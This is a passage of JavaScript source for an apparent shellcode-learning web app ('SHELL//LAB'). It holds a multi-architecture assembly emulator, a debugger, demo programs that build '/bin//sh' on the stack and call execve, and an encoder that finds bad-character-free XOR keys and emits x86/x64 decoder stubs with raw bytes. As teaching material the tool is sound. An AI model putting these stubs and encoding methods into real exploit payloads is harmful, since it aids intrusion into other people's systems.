if (!inner) return 0;
// Simple register: [esp], [rsp], [esi]
if (isReg(inner, archKey)) return getReg(inner);
// reg+imm or reg-imm: [esp+4], [esi-8], [rsp+0x10]
const plusMatch = inner.match(/^(\w+)\s*\+\s*(.+)$/);
if (plusMatch) {
const base = isReg(plusMatch[1], archKey) ? getReg(plusMatch[1]) : parseImm(plusMatch[1]);
const off = isReg(plusMatch[2].trim(), archKey) ? getReg(plusMatch[2].trim()) : parseImm(plusMatch[2].trim());
return (base + off) & 0xFFFFFFFF;
}
const minusMatch = inner.match(/^(\w+)\s*-\s*(.+)$/);
if (minusMatch) {
const base = isReg(minusMatch[1], archKey) ? getReg(minusMatch[1]) : parseImm(minusMatch[1]);
const off = parseImm(minusMatch[2].trim());
return (base - off) & 0xFFFFFFFF;
}
// reg+reg*scale: [ebx+ecx*4]
const scaleMatch = inner.match(/^(\w+)\s*\+\s*(\w+)\s*\*\s*(\d+)$/);
if (scaleMatch) {
return (getReg(scaleMatch[1]) + getReg(scaleMatch[2]) * parseInt(scaleMatch[3])) & 0xFFFFFFFF;
}
// Just an immediate: [0x08048000]
const imm = parseImm(inner);
if (!isNaN(imm)) return imm;
return 0;
};
const readMem = (operand) => {
const addr = resolveAddr(operand);
return cpu.memory[addr] || 0;
};
const writeMem = (operand, val) => {
const addr = resolveAddr(operand);
cpu.memory[addr] = val & 0xFFFFFFFF;
// Update stack display if writing to stack region
const stackBase = ar.bits === 64 ? STACK_BASE_64 : STACK_BASE_32;
if (addr <= stackBase && addr >= stackBase - 256) {
const existing = cpu.stack.findIndex(e => e.addr === addr);
if (existing >= 0) cpu.stack[existing].value = val;
}
};
// Unified value getter: handles registers, immediates, and memory
const getVal = (operand) => {
if (!operand) return 0;
if (isMem(operand)) return readMem(operand);
const op = cleanOp(operand);
if (isReg(op, archKey)) return getReg(op);
return parseImm(op);
};
// Unified value setter: handles registers and memory destinations
const setDst = (operand, val) => {
if (isMem(operand)) { writeMem(operand, val); return; }
setReg(operand, val);
};
// Check for "byte" prefix to determine operation width
const isBytePrefixed = (operand) => {
return operand && operand.trim().toLowerCase().startsWith("byte ");
};
const stripSizePrefix = (operand) => {
if (!operand) return operand;
return operand.replace(/^(byte|word|dword|qword)\s+/i, "");
};
const updateFlags = (result) => {
const masked = result & 0xFFFFFFFF;
cpu.flags.ZF = masked === 0 ? 1 : 0;
cpu.flags.SF = (masked & 0x80000000) ? 1 : 0;
cpu.flags.CF = (result < 0 || result > 0xFFFFFFFF) ? 1 : 0;
cpu.flags.OF = 0; // simplified
};
const pushStack = (val) => {
cpu.regs[spName] -= wordSize;
const addr = cpu.regs[spName];
cpu.memory[addr] = val;
cpu.stack.unshift({ addr, value: val, label: "" });
if (cpu.stack.length > 32) cpu.stack.pop();
};
const popStack = () => {
const addr = cpu.regs[spName];
const val = cpu.memory[addr] || 0;
cpu.regs[spName] += wordSize;
cpu.stack.shift();
return val;
};
const { op, operands } = instr;
let nextPc = cpu.pc + 1;
switch (op) {
// ── Data Movement ──
case "mov": case "movl": case "movq": {
const d = stripSizePrefix(operands[0]);
const s = stripSizePrefix(operands[1]);
setDst(d, getVal(s));
break;
}
case "movabs": {
setDst(operands[0], getVal(operands[1]));
break;
}
case "push": {
pushStack(getVal(operands[0]));
break;
}
case "pop": {
setDst(operands[0], popStack());
break;
}
case "lea": {
if (isMem(operands[1])) setReg(operands[0], resolveAddr(operands[1]));
else setReg(operands[0], getVal(operands[1]));
break;
}
case "xchg": {
const va = getVal(operands[0]), vb = getVal(operands[1]);
setDst(operands[0], vb);
setDst(operands[1], va);
break;
}
// ── Arithmetic ──
case "add": case "addl": case "addq": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) + getVal(stripSizePrefix(operands[1]));
setDst(d, result);
updateFlags(result);
break;
}
case "sub": case "subl": case "subq": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) - getVal(stripSizePrefix(operands[1]));
setDst(d, result);
updateFlags(result);
break;
}
case "inc": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) + 1;
setDst(d, result);
updateFlags(result);
break;
}
case "dec": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) - 1;
setDst(d, result);
updateFlags(result);
break;
}
case "neg": {
const d = stripSizePrefix(operands[0]);
const result = -getVal(d);
setDst(d, result);
updateFlags(result);
break;
}
case "mul": {
const result = getReg("eax") * getVal(operands[0]);
setReg("eax", result & 0xFFFFFFFF);
setReg("edx", (result >>> 32) & 0xFFFFFFFF);
updateFlags(result);
break;
}
case "imul": {
if (operands.length === 1) {
const result = getReg("eax") * getVal(operands[0]);
setReg("eax", result);
updateFlags(result);
} else {
const result = getVal(operands[0]) * getVal(operands[1]);
setDst(operands[0], result);
updateFlags(result);
}
break;
}
case "div": {
const divisor = getVal(operands[0]);
if (divisor === 0) { cpu.output.push({ text: "Division by zero!", type: "err" }); cpu.halted = true; break; }
const dividend = getReg("eax");
setReg("eax", Math.floor(dividend / divisor));
setReg("edx", dividend % divisor);
break;
}
// ── Logic & Bitwise ──
case "and": case "andl": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) & getVal(stripSizePrefix(operands[1]));
setDst(d, result);
updateFlags(result);
break;
}
case "or": case "orl": case "orr": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) | getVal(stripSizePrefix(operands[1]));
setDst(d, result);
updateFlags(result);
break;
}
case "xor": case "xorl": case "eor": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) ^ getVal(stripSizePrefix(operands[1]));
setDst(d, result);
updateFlags(result);
break;
}
case "not": {
const d = stripSizePrefix(operands[0]);
setDst(d, ~getVal(d));
break;
}
case "shl": case "sal": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) << getVal(operands[1] || "1");
setDst(d, result);
updateFlags(result);
break;
}
case "shr": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) >>> getVal(operands[1] || "1");
setDst(d, result);
updateFlags(result);
break;
}
case "sar": {
const d = stripSizePrefix(operands[0]);
const result = getVal(d) >> getVal(operands[1] || "1");
setDst(d, result);
updateFlags(result);
break;
}
case "rol": {
const cnt = getVal(operands[1] || "1") & 31;
const d = stripSizePrefix(operands[0]);
const v = getVal(d);
setDst(d, ((v << cnt) | (v >>> (32 - cnt))) & 0xFFFFFFFF);
break;
}
case "ror": {
const cnt = getVal(operands[1] || "1") & 31;
const d = stripSizePrefix(operands[0]);
const v = getVal(d);
setDst(d, ((v >>> cnt) | (v << (32 - cnt))) & 0xFFFFFFFF);
break;
}
// ── Comparison ──
case "cmp": case "cmpl": {
const result = getVal(stripSizePrefix(operands[0])) - getVal(stripSizePrefix(operands[1]));
updateFlags(result);
break;
}
case "test": case "testl": {
const result = getVal(stripSizePrefix(operands[0])) & getVal(stripSizePrefix(operands[1]));
updateFlags(result);
break;
}
// ── Control Flow ──
case "jmp": case "b": {
const target = cleanOp(operands[0]).replace("short ","");
if (labels[target] !== undefined) nextPc = labels[target];
break;
}
case "je": case "jz": case "beq": {
if (cpu.flags.ZF === 1) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "jne": case "jnz": case "bne": {
if (cpu.flags.ZF === 0) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "jg": case "jnle": case "bgt": {
if (cpu.flags.ZF === 0 && cpu.flags.SF === cpu.flags.OF) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "jl": case "jnge": case "blt": {
if (cpu.flags.SF !== cpu.flags.OF) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "jge": case "jnl": case "bge": {
if (cpu.flags.SF === cpu.flags.OF) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "jle": case "jng": case "ble": {
if (cpu.flags.ZF === 1 || cpu.flags.SF !== cpu.flags.OF) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "ja": case "jnbe": {
if (cpu.flags.CF === 0 && cpu.flags.ZF === 0) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "jb": case "jnae": case "jc": {
if (cpu.flags.CF === 1) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "js": {
if (cpu.flags.SF === 1) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "jns": {
if (cpu.flags.SF === 0) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "call": case "bl": {
const retAddr = CODE_BASE + ((cpu.pc + 1) * 4);
pushStack(retAddr);
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
break;
}
case "ret": case "bx": {
const retAddr = popStack();
const instrOffset = (retAddr - CODE_BASE) / 4;
if (instrOffset >= 0) nextPc = instrOffset;
else { cpu.halted = true; cpu.output.push({ text: "Program returned", type: "ok" }); }
break;
}
case "loop": {
const cxReg = archKey === "x64" ? "rcx" : "ecx";
const newCx = getReg(cxReg) - 1;
setReg(cxReg, newCx);
if (newCx !== 0) {
const target = cleanOp(operands[0]);
if (labels[target] !== undefined) nextPc = labels[target];
}
break;
}
case "nop":
break;
// ── Syscalls ──
case "int": {
const intNum = parseImm(operands[0]);
if (intNum === 0x80) {
const sysNum = getReg("eax");
cpu.output.push({ text: `syscall: ${ARCHS.x86.syscalls[sysNum]?.name || "unknown"} (${sysNum})`, type: "sys" });
if (sysNum === 1) { cpu.halted = true; cpu.output.push({ text: `exit(${getReg("ebx")})`, type: "ok" }); }
else if (sysNum === 4) { cpu.output.push({ text: `write(${getReg("ebx")}, buf, ${getReg("edx")})`, type: "info" }); }
else if (sysNum === 11) { cpu.output.push({ text: `execve() — shell spawned!`, type: "ok" }); cpu.halted = true; }
}
break;
}
case "syscall": {
const sysNum = getReg(archKey === "x64" ? "rax" : "eax");
const sc = ARCHS[archKey].syscalls[sysNum];
cpu.output.push({ text: `syscall: ${sc?.name || "unknown"} (${sysNum})`, type: "sys" });
if (sysNum === 60 || sysNum === 93) { cpu.halted = true; cpu.output.push({ text: `exit(${getReg(archKey === "x64" ? "rdi" : "r0")})`, type: "ok" }); }
else if (sysNum === 1 || sysNum === 64) { cpu.output.push({ text: `write(fd, buf, ${getReg(archKey === "x64" ? "rdx" : "r2")})`, type: "info" }); }
else if (sysNum === 59 || sysNum === 221) { cpu.output.push({ text: `execve() — shell spawned!`, type: "ok" }); cpu.halted = true; }
break;
}
case "svc": {
const sysNum = getReg(archKey === "arm64" ? "x8" : "r7");
const sc = ARCHS[archKey].syscalls[sysNum];
cpu.output.push({ text: `svc: ${sc?.name || "unknown"} (${sysNum})`, type: "sys" });
if (sysNum === 1 || sysNum === 93) { cpu.halted = true; }
else if (sysNum === 11 || sysNum === 221) { cpu.output.push({ text: `execve() — shell spawned!`, type: "ok" }); cpu.halted = true; }
break;
}
default:
cpu.output.push({ text: `Unsupported instruction: ${op}`, type: "warn" });
}
cpu.pc = nextPc;
cpu.regs[ipName] = CODE_BASE + (cpu.pc * 4);
return cpu;
}
// ── Debugger Programs (pre-loaded demos) ──
const DBG_PROGRAMS = {
x86: {
"exit(0)": `; exit(0) — minimal x86
xor eax, eax
xor ebx, ebx
mov al, 0x1
int 0x80`,
"loop counter": `; Count down from 5
mov ecx, 5
mov eax, 0
loop_start:
add eax, 1
dec ecx
jnz loop_start
; eax = 5 when done`,
"stack string": `; Build /bin on stack
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; ebx now points to /bin//sh`,
"xor zeroing": `; Three ways to zero a register
xor eax, eax
sub ebx, ebx
push 0
pop ecx
; All three are now 0`,
"function call": `; Simple call/ret
call myFunc
mov ebx, eax
xor eax, eax
mov al, 1
int 0x80
myFunc:
mov eax, 42
ret`,
},
x64: {
"exit(0)": `; exit(0) — x86-64
xor rdi, rdi
push 60
pop rax
syscall`,
"register chain": `; Pass values through registers
mov rdi, 0x41
mov rsi, rdi
add rsi, 0x20
mov rdx, rsi
xor rax, rax
mov al, 1
syscall`,
"stack build": `; Build /bin//sh on stack — x64
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
xor rdx, rdx
push 59
pop rax
syscall`,
},
arm32: {
"exit(0)": `; ARM exit
mov r0, #0
mov r7, #1
svc #0`,
"add loop": `; Count to 10
mov r0, #0
mov r1, #10
loop:
add r0, r0, #1
sub r1, r1, #1
cmp r1, #0
bne loop`,
},
arm64: {
"exit(0)": `; AArch64 exit
mov x0, #0
mov x8, #93
svc #0`,
"register math": `; Register operations
mov x0, #100
mov x1, #25
sub x2, x0, x1
add x3, x0, x1
; x2=75, x3=125`,
},
};
// ── Error Boundary ──
class ShellLabErrorBoundary extends React.Component {
constructor(props) { super(props); this.state = { hasError: false, error: null }; }
static getDerivedStateFromError(error) { return { hasError: true, error }; }
render() {
if (this.state.hasError) {
return React.createElement("div", {
style: { background: "#0a0e14", minHeight: "100vh", display: "flex", alignItems: "center", justifyContent: "center", padding: 40 }
},
React.createElement("div", { style: { background: "#0f1318", border: "1px solid #ff4757", borderRadius: 8, padding: 32, maxWidth: 500, textAlign: "center" } },
React.createElement("div", { style: { fontSize: 32, marginBottom: 12 } }, "⚠"),
React.createElement("div", { style: { fontFamily: "'Share Tech Mono', monospace", color: "#ff4757", fontSize: 14, letterSpacing: 2, marginBottom: 12 } }, "SHELL//LAB — RUNTIME ERROR"),
React.createElement("div", { style: { fontFamily: "'Fira Code', monospace", color: "#8899aa", fontSize: 11, marginBottom: 16, wordBreak: "break-all" } }, String(this.state.error?.message || "Unknown error")),
React.createElement("button", {
onClick: () => this.setState({ hasError: false, error: null }),
style: { background: "#39ff1418", border: "1px solid #39ff1444", color: "#39ff14", padding: "8px 24px", borderRadius: 4, cursor: "pointer", fontFamily: "'Barlow Condensed', sans-serif", fontSize: 13, fontWeight: 700 }
}, "▸ RESET")
)
);
}
return this.props.children;
}
}
// ── Main App ──
function ShellLabInner() {
const [arch, setArch] = useState("x86");
const [tab, setTab] = useState("ref");
const [subTab, setSubTab] = useState(null);
const [selTemplate, setSelTemplate] = useState(null);
const [selLesson, setSelLesson] = useState(0);
const [lessonSection, setLessonSection] = useState(0);
const [selExercise, setSelExercise] = useState(0);
const [showAnswer, setShowAnswer] = useState(false);
const [editorCode, setEditorCode] = useState("");
const [consoleOut, setConsoleOut] = useState([]);
const [exerciseScores, setExerciseScores] = useState({});
// Must be declared before hooks that reference it
const a = ARCHS[arch];
// ── Debugger State ──
const [dbgCode, setDbgCode] = useState("");
const [dbgCpu, setDbgCpu] = useState(null);
const [dbgParsed, setDbgParsed] = useState(null);
const [dbgLabels, setDbgLabels] = useState({});
const [dbgRunning, setDbgRunning] = useState(false);
const [dbgPrevRegs, setDbgPrevRegs] = useState({});
const [dbgStepCount, setDbgStepCount] = useState(0);
const [dbgSpeed, setDbgSpeed] = useState(500);
const dbgIntervalRef = useRef(null);
// Debugger actions
const dbgLoad = useCallback((code) => {
const src = code || dbgCode;
if (!src.trim()) return;
const { instructions, labels } = parseAsmLines(src, arch);
const cpu = createCpuState(arch);
setDbgParsed(instructions);
setDbgLabels(labels);
setDbgCpu(cpu);
setDbgPrevRegs({});
setDbgStepCount(0);
setDbgRunning(false);
if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current);
}, [dbgCode, arch]);
const dbgStep = useCallback(() => {
if (!dbgCpu || !dbgParsed || dbgCpu.halted) return;
const instrs = dbgParsed.filter(p => p.type === "instr");
if (dbgCpu.pc >= instrs.length) {
setDbgCpu(prev => ({ ...prev, halted: true, output: [...prev.output, { text: "End of program", type: "ok" }] }));
return;
}
const instr = instrs[dbgCpu.pc];
const prevRegs = { ...dbgCpu.regs };
const newCpu = { ...dbgCpu, regs: { ...dbgCpu.regs }, flags: { ...dbgCpu.flags }, memory: { ...dbgCpu.memory }, stack: [...dbgCpu.stack], output: [...dbgCpu.output], history: [...dbgCpu.history] };
execInstruction(newCpu, instr, dbgLabels, arch);
setDbgPrevRegs(prevRegs);
setDbgCpu(newCpu);
setDbgStepCount(prev => prev + 1);
}, [dbgCpu, dbgParsed, dbgLabels, arch]);
const dbgRun = useCallback(() => {
if (!dbgCpu || dbgCpu.halted) return;
setDbgRunning(true);
}, [dbgCpu]);
const dbgPause = useCallback(() => {
setDbgRunning(false);
if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current);
}, []);
const dbgReset = useCallback(() => {
setDbgRunning(false);
if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current);
if (dbgCode.trim()) dbgLoad(dbgCode);
}, [dbgCode, dbgLoad]);
const dbgUndo = useCallback(() => {
if (!dbgCpu || !dbgCpu.history.length) return;
const prev = dbgCpu.history[dbgCpu.history.length - 1];
const newHistory = dbgCpu.history.slice(0, -1);
setDbgCpu({ ...dbgCpu, regs: prev.regs, flags: prev.flags, memory: prev.memory, stack: prev.stack, pc: dbgCpu.pc > 0 ? dbgCpu.pc - 1 : 0, halted: false, history: newHistory });
setDbgStepCount(prev => Math.max(0, prev - 1));
}, [dbgCpu]);
// Auto-run interval
useEffect(() => {
if (dbgRunning && dbgCpu && !dbgCpu.halted) {
dbgIntervalRef.current = setInterval(() => {
dbgStepPhase2();
}, dbgSpeed);
return () => clearInterval(dbgIntervalRef.current);
} else {
if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current);
if (dbgCpu?.halted) setDbgRunning(false);
}
}, [dbgRunning, dbgCpu?.halted, dbgSpeed]);
// Load default program when switching arch
useEffect(() => {
const progs = DBG_PROGRAMS[arch];
if (progs) {
const firstKey = Object.keys(progs)[0];
setDbgCode(progs[firstKey]);
}
}, [arch]);
// ── Phase 2: Hover state for register cross-references ──
const [dbgHoverReg, setDbgHoverReg] = useState(null);
const [dbgShowBytes, setDbgShowBytes] = useState(true);
const [dbgShowXrefs, setDbgShowXrefs] = useState(true);
const [dbgPrevFlags, setDbgPrevFlags] = useState({ ZF: 0, CF: 0, SF: 0, OF: 0 });
// Override dbgStep to also track previous flags
const dbgStepPhase2 = useCallback(() => {
if (!dbgCpu || !dbgParsed || dbgCpu.halted) return;
const instrs = dbgParsed.filter(p => p.type === "instr");
if (dbgCpu.pc >= instrs.length) {
setDbgCpu(prev => ({ ...prev, halted: true, output: [...prev.output, { text: "End of program", type: "ok" }] }));
return;
}
const instr = instrs[dbgCpu.pc];
const prevRegs = { ...dbgCpu.regs };
const prevFlags = { ...dbgCpu.flags };
const newCpu = { ...dbgCpu, regs: { ...dbgCpu.regs }, flags: { ...dbgCpu.flags }, memory: { ...dbgCpu.memory }, stack: [...dbgCpu.stack], output: [...dbgCpu.output], history: [...dbgCpu.history] };
execInstruction(newCpu, instr, dbgLabels, arch);
setDbgPrevRegs(prevRegs);
setDbgPrevFlags(prevFlags);
setDbgCpu(newCpu);
setDbgStepCount(prev => prev + 1);
}, [dbgCpu, dbgParsed, dbgLabels, arch]);
// Opcode byte estimation for common instructions
const estimateOpcodeBytes = useCallback((instr, archKey) => {
if (!instr || instr.type !== "instr") return "";
const { op, operands } = instr;
const ar = ARCHS[archKey];
// Simplified opcode encoding for display purposes
const opcodeMap = {
"nop": "90",
"ret": ar.bits === 64 ? "c3" : "c3",
"syscall": "0f 05",
"int": "cd 80",
"svc": "ef 00 00 00",
};
if (opcodeMap[op]) return opcodeMap[op];
// Common x86/x64 patterns
if (archKey === "x86" || archKey === "x64") {
const rex = archKey === "x64" ? "48 " : "";
const regCodes = { "eax": 0, "ecx": 1, "edx": 2, "ebx": 3, "esp": 4, "ebp": 5, "esi": 6, "edi": 7, "rax": 0, "rcx": 1, "rdx": 2, "rbx": 3, "rsp": 4, "rbp": 5, "rsi": 6, "rdi": 7, "r8": 0, "r9": 1, "r10": 2, "r11": 3, "r12": 4, "r13": 5, "r14": 6, "r15": 7 };
const dst = cleanOp(operands?.[0]);
const src = cleanOp(operands?.[1]);
const dstCode = regCodes[dst];
const srcCode = regCodes[src];
switch (op) {
case "xor":
if (dst === src && dstCode !== undefined) return rex + (0x31).toString(16) + " " + (0xc0 + dstCode * 9).toString(16);
if (dstCode !== undefined && srcCode !== undefined) return rex + "31 " + (0xc0 + srcCode * 8 + dstCode).toString(16);
break;
case "mov":
if (dstCode !== undefined && !isNaN(parseImm(src))) {
const imm = parseImm(src);
if (imm >= 0 && imm <= 255 && dst.startsWith("al") || dst.endsWith("l")) return "b0 " + imm.toString(16).padStart(2, "0");
if (imm >= 0 && imm <= 255) return rex + (0xb8 + dstCode).toString(16) + " " + imm.toString(16).padStart(2, "0") + " 00 00 00";
return rex + (0xb8 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 8) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 16) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 24) & 0xFF).toString(16).padStart(2,"0");
}
if (dstCode !== undefined && srcCode !== undefined) return rex + "89 " + (0xc0 + srcCode * 8 + dstCode).toString(16);
break;
case "push":
if (dstCode !== undefined) return (0x50 + dstCode).toString(16);
if (!isNaN(parseImm(dst))) {
const imm = parseImm(dst);
if (imm >= -128 && imm <= 127) return "6a " + (imm & 0xFF).toString(16).padStart(2, "0");
return "68 " + (imm & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 8) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 16) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 24) & 0xFF).toString(16).padStart(2,"0");
}
break;
case "pop":
if (dstCode !== undefined) return (0x58 + dstCode).toString(16);
break;
case "add":
if (dstCode !== undefined && !isNaN(parseImm(src))) {
const imm = parseImm(src);
if (imm >= -128 && imm <= 127) return rex + "83 " + (0xc0 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2, "0");
}
if (dstCode !== undefined && srcCode !== undefined) return rex + "01 " + (0xc0 + srcCode * 8 + dstCode).toString(16);
break;
case "sub":
if (dstCode !== undefined && !isNaN(parseImm(src))) {
const imm = parseImm(src);
if (imm >= -128 && imm <= 127) return rex + "83 " + (0xe8 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2, "0");
}
break;
case "inc":
if (dstCode !== undefined) return archKey === "x64" ? rex + "ff " + (0xc0 + dstCode).toString(16) : (0x40 + dstCode).toString(16);
break;
case "dec":
if (dstCode !== undefined) return archKey === "x64" ? rex + "ff " + (0xc8 + dstCode).toString(16) : (0x48 + dstCode).toString(16);
break;
case "cmp":
if (dstCode !== undefined && !isNaN(parseImm(src))) {
const imm = parseImm(src);
if (imm >= -128 && imm <= 127) return rex + "83 " + (0xf8 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2, "0");
}
break;
case "test":
if (dst === src && dstCode !== undefined) return rex + "85 " + (0xc0 + dstCode * 9).toString(16);
break;
case "and":
if (dstCode !== undefined && !isNaN(parseImm(src))) return rex + "81 " + (0xe0 + dstCode).toString(16) + " " + (parseImm(src) & 0xFF).toString(16).padStart(2, "0") + " 00 00 00";
break;
case "or":
if (dstCode !== undefined && srcCode !== undefined) return rex + "09 " + (0xc0 + srcCode * 8 + dstCode).toString(16);
break;
case "not":
if (dstCode !== undefined) return rex + "f7 " + (0xd0 + dstCode).toString(16);
break;
case "neg":
if (dstCode !== undefined) return rex + "f7 " + (0xd8 + dstCode).toString(16);
break;
case "jmp": return "eb xx";
case "je": case "jz": return "74 xx";
case "jne": case "jnz": return "75 xx";
case "jg": case "jnle": return "7f xx";
case "jl": case "jnge": return "7c xx";
case "jge": case "jnl": return "7d xx";
case "jle": case "jng": return "7e xx";
case "ja": case "jnbe": return "77 xx";
case "jb": case "jnae": return "72 xx";
case "js": return "78 xx";
case "jns": return "79 xx";
case "call": return "e8 xx xx xx xx";
case "loop": return "e2 xx";
default: break;
}
}
// ARM stubs
if (archKey === "arm32") {
if (op === "svc") return "ef 00 00 00";
if (op === "bx" && cleanOp(operands?.[0]) === "lr") return "1e ff 2f e1";
return ".. .. .. ..";
}
if (archKey === "arm64") {
if (op === "svc") return "01 00 00 d4";
if (op === "ret") return "c0 03 5f d6";
return ".. .. .. ..";
}
return "..";
}, [arch]);
// Compute register cross-references for hovered register
const computeXrefs = useCallback((reg, parsed) => {
if (!reg || !parsed) return { reads: [], writes: [] };
const reads = [];
const writes = [];
const rLow = reg.toLowerCase();
let instrIdx = 0;
parsed.forEach((p, i) => {
if (p.type !== "instr") return;
const opLow = p.op;
const ops = (p.operands || []).map(o => cleanOp(o));
// First operand is typically destination (write) for mov, add, sub, xor, etc.
const writeOps = ["mov","movl","movq","movabs","add","addl","addq","sub","subl","subq","xor","xorl","and","andl","or","orl","orr","eor","shl","shr","sar","rol","ror","not","neg","inc","dec","pop","lea","mul","imul","div"];
if (writeOps.includes(opLow) && ops[0] === rLow) writes.push(instrIdx);
// Check all operands for reads
ops.forEach((o, oi) => {
if (o === rLow) {
if (writeOps.includes(opLow) && oi === 0) { /* already counted as write */ }
else reads.push(instrIdx);
// xor reg, reg is both read and write of same reg
if ((opLow === "xor" || opLow === "eor") && oi === 1 && ops[0] === rLow) reads.push(instrIdx);
// For add/sub/and/or/xor, dst is also read
if (["add","sub","and","or","xor","shl","shr","sar","rol","ror"].includes(opLow) && oi === 0) reads.push(instrIdx);
}
});
// push reads the operand
if (opLow === "push" && ops[0] === rLow) reads.push(instrIdx);
// cmp/test reads both operands
if ((opLow === "cmp" || opLow === "test") && ops.includes(rLow)) reads.push(instrIdx);
// call/ret/int/syscall implicitly use registers
if (opLow === "int" || opLow === "syscall" || opLow === "svc") {
if (a.syscallArgs.includes(rLow) || rLow === a.syscallReg) reads.push(instrIdx);
}
instrIdx++;
});
return { reads: [...new Set(reads)], writes: [...new Set(writes)] };
}, [a]);
const dbgXrefs = useMemo(() => {
if (!dbgHoverReg || !dbgParsed) return { reads: [], writes: [] };
return computeXrefs(dbgHoverReg, dbgParsed);
}, [dbgHoverReg, dbgParsed, computeXrefs]);
// ═══ ENCODER WORKSHOP STATE ═══
const [encInput, setEncInput] = useState("");
const [encBadChars, setEncBadChars] = useState("00,0a,0d");
const [encMethod, setEncMethod] = useState("xor1"); // xor1, xorN, add, sub, rol
const [encKey, setEncKey] = useState("");
const [encAutoKey, setEncAutoKey] = useState(true);
const [encResult, setEncResult] = useState(null);
// Parse hex input string to byte array
const parseHexInput = useCallback((input) => {
const clean = input.replace(/\\x/g, " ").replace(/0x/g, " ").replace(/,/g, " ").replace(/[^0-9a-fA-F\s]/g, "").trim();
if (!clean) return [];
return clean.split(/\s+/).filter(Boolean).map(h => parseInt(h, 16)).filter(b => !isNaN(b) && b >= 0 && b <= 255);
}, []);
const parseBadChars = useCallback((input) => {
return parseHexInput(input);
}, [parseHexInput]);
// Find optimal single-byte XOR key that avoids all bad chars
const findXorKey = useCallback((bytes, badChars) => {
for (let key = 1; key <= 255; key++) {
if (badChars.includes(key)) continue;
let valid = true;
for (const b of bytes) {
const encoded = b ^ key;
if (badChars.includes(encoded)) { valid = false; break; }
}
if (valid) return key;
}
return null;
}, []);
// Find multi-byte key
const findMultiKey = useCallback((bytes, badChars, keyLen = 4) => {
const key = [];
for (let ki = 0; ki < keyLen; ki++) {
let found = false;
for (let k = 1; k <= 255; k++) {
if (badChars.includes(k)) continue;
let valid = true;
for (let bi = ki; bi < bytes.length; bi += keyLen) {
if (badChars.includes(bytes[bi] ^ k)) { valid = false; break; }
}
if (valid) { key.push(k); found = true; break; }
}
if (!found) key.push(0xAA);
}
return key;
}, []);
// Encode shellcode
const runEncode = useCallback(() => {
const bytes = parseHexInput(encInput);
if (bytes.length === 0) return;
const badChars = parseBadChars(encBadChars);
let encoded = [];
let keyUsed = [];
let decoderStub = "";
let decoderBytes = [];
if (encMethod === "xor1") {
let key;
if (encAutoKey) {
key = findXorKey(bytes, badChars);
if (key === null) { setEncResult({ error: "No valid single-byte XOR key found. Try multi-byte or different bad chars." }); return; }
} else {
key = parseHexInput(encKey)[0] || 0xAA;
}
keyUsed = [key];
encoded = bytes.map(b => b ^ key);
if (arch === "x86") {
decoderStub = `; XOR Decoder Stub — x86 (key: 0x${key.toString(16).padStart(2,"0")})
jmp short _get_addr
_decoder:
pop esi ; ESI = shellcode address
xor ecx, ecx
mov cl, ${bytes.length} ; shellcode length
_decode_loop:
xor byte [esi], 0x${key.toString(16).padStart(2,"0")} ; XOR with key
inc esi
loop _decode_loop
jmp short _shellcode
_get_addr:
call _decoder
_shellcode:
; `;
decoderBytes = [0xEB, 0x0D, 0x5E, 0x31, 0xC9, 0xB1, bytes.length & 0xFF, 0x80, 0x36, key, 0x46, 0xE2, 0xFB, 0xEB, 0x05, 0xE8, 0xEE, 0xFF, 0xFF, 0xFF];
} else {
decoderStub = `; XOR Decoder Stub — x86-64 (key: 0x${key.toString(16).padStart(2,"0")})
jmp short _get_addr
_decoder:
pop rsi ; RSI = shellcode address
xor rcx, rcx
mov cl, ${bytes.length} ; shellcode length
_decode_loop:
xor byte [rsi], 0x${key.toString(16).padStart(2,"0")} ; XOR with key
inc rsi
loop _decode_loop
jmp short _shellcode
_get_addr:
call _decoder
_shellcode:
; `;
decoderBytes = [0xEB, 0x11, 0x5E, 0x48, 0x31, 0xC9, 0xB1, bytes.length & 0xFF, 0x80, 0x36, key, 0x48, 0xFF, 0xC6, 0xE2, 0xF8, 0xEB, 0x05, 0xE8, 0xEA, 0xFF, 0xFF, 0xFF];
}
} else if (encMethod === "xorN") {
